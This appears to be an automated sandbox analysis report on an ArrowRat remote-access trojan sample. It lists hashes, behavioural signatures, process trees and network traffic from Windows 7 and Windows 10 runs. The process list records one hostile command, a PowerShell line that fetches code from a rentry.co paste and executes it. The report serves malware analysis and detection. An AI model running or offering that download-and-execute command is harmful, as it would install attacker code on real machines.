Malware Analysis Report

2024-10-10 10:38

Sample ID 240715-gjw9qstfnc
Target 9Ood5SWkbwPn.AnarHs
SHA256 2475c46eba856424c41cf41db71fd5d6089e8be9031b35279f051da760aa216f
Tags
identifier arrowrat rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

2475c46eba856424c41cf41db71fd5d6089e8be9031b35279f051da760aa216f

Threat Level: Known bad

The file 9Ood5SWkbwPn.AnarHs was found to be: Known bad.

Malicious Activity Summary

identifier arrowrat rat

ArrowRat

Arrowrat family

Drops file in System32 directory

Unsigned PE

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

N/A

Analysis: static1

Detonation Overview

Reported

2024-07-15 05:50

Signatures

Arrowrat family

arrowrat

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-15 05:50

Reported

2024-07-15 05:53

Platform

win7-20240704-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\9Ood5SWkbwPn.exe"

Signatures

ArrowRat

rat arrowrat

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2416 wrote to memory of 2744 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2416 wrote to memory of 2744 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2416 wrote to memory of 2744 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\9Ood5SWkbwPn.exe

"C:\Users\Admin\AppData\Local\Temp\9Ood5SWkbwPn.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell "irm rentry.co/Fr3on5000/raw | iex"

Network

N/A

Files

memory/2552-0-0x000007FEF5993000-0x000007FEF5994000-memory.dmp

memory/2552-1-0x00000000002F0000-0x0000000000318000-memory.dmp

memory/2744-6-0x000007FEF514E000-0x000007FEF514F000-memory.dmp

memory/2744-7-0x000000001B7B0000-0x000000001BA92000-memory.dmp

memory/2744-9-0x000007FEF4E90000-0x000007FEF582D000-memory.dmp

memory/2744-10-0x000007FEF4E90000-0x000007FEF582D000-memory.dmp

memory/2744-11-0x000007FEF4E90000-0x000007FEF582D000-memory.dmp

memory/2744-12-0x000007FEF4E90000-0x000007FEF582D000-memory.dmp

memory/2744-8-0x0000000001DD0000-0x0000000001DD8000-memory.dmp

memory/2744-13-0x000007FEF4E90000-0x000007FEF582D000-memory.dmp

memory/2744-14-0x000007FEF4E90000-0x000007FEF582D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-15 05:50

Reported

2024-07-15 05:53

Platform

win10v2004-20240709-en

Max time kernel

92s

Max time network

110s

Command Line

"C:\Users\Admin\AppData\Local\Temp\9Ood5SWkbwPn.exe"

Signatures

ArrowRat

rat arrowrat

Processes

C:\Users\Admin\AppData\Local\Temp\9Ood5SWkbwPn.exe

"C:\Users\Admin\AppData\Local\Temp\9Ood5SWkbwPn.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp

Files

memory/4776-1-0x0000015074070000-0x0000015074098000-memory.dmp

memory/4776-0-0x00007FF97A5A3000-0x00007FF97A5A5000-memory.dmp